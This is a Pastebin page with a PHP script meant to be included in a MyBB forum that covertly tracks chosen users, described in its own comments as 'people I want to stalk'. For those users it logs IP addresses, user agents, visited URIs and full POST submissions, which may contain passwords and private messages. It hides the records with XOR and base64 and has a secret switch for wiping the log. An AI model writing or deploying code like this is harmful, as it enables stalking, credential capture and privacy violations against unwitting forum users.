Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- //Tracking
- if (isset($_COOKIE['mybbuser'])) {
- $usercookie=$_COOKIE['mybbuser'];
- $userid=substr($usercookie,0,strpos($usercookie,"_"));
- $cookieid=$_COOKIE['a'];
- $login=true;
- } else {$userid=0;$cookieid=$_COOKIE['a'];$login=false;}
- $users=array(/* UserIDs of people I want to stalk */);
- if (in_array($userid,$users) || in_array($cookieid,$users)) {
- if(!isset($_COOKIE['a'])){setcookie('a',$userid,2147483647);}
- //Alerting
- if (filesize("a.txt")==0 && false) { /* I set this to true to display a message to the person being stalked */
- $messagedisplayed=true;
- echo "";
- }
- $file=fopen("a.txt","a");
- $data['user']=$userid;
- $data['cookie']=$cookieid;
- $data['login']=$login;
- $data['time']=time();
- $data['uri']=$_SERVER['REQUEST_URI'];
- $data['ip']=$_SERVER['REMOTE_ADDR'];
- $data['useragent']=$_SERVER['HTTP_USER_AGENT'];
- if($_SERVER['REQUEST_METHOD']=="POST") {
- $data['post']=$_POST;
- }
- //Recording
- $output=serialize($data);
- for($i=0;$i<strlen($output);$i++) {$output{$i}=$output{$i}^chr(25);}
- $output=base64_encode($output);
- fwrite($file,$output."\n");
- fclose($file);
- }
- //Erasing
- if($userid==/* My UserID */) {
- if(isset($_GET['clearspy'])) {
- fclose(fopen("a.txt","w"));
- }
- }
- //Dieing
- if($messagedisplayed) {die();}
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement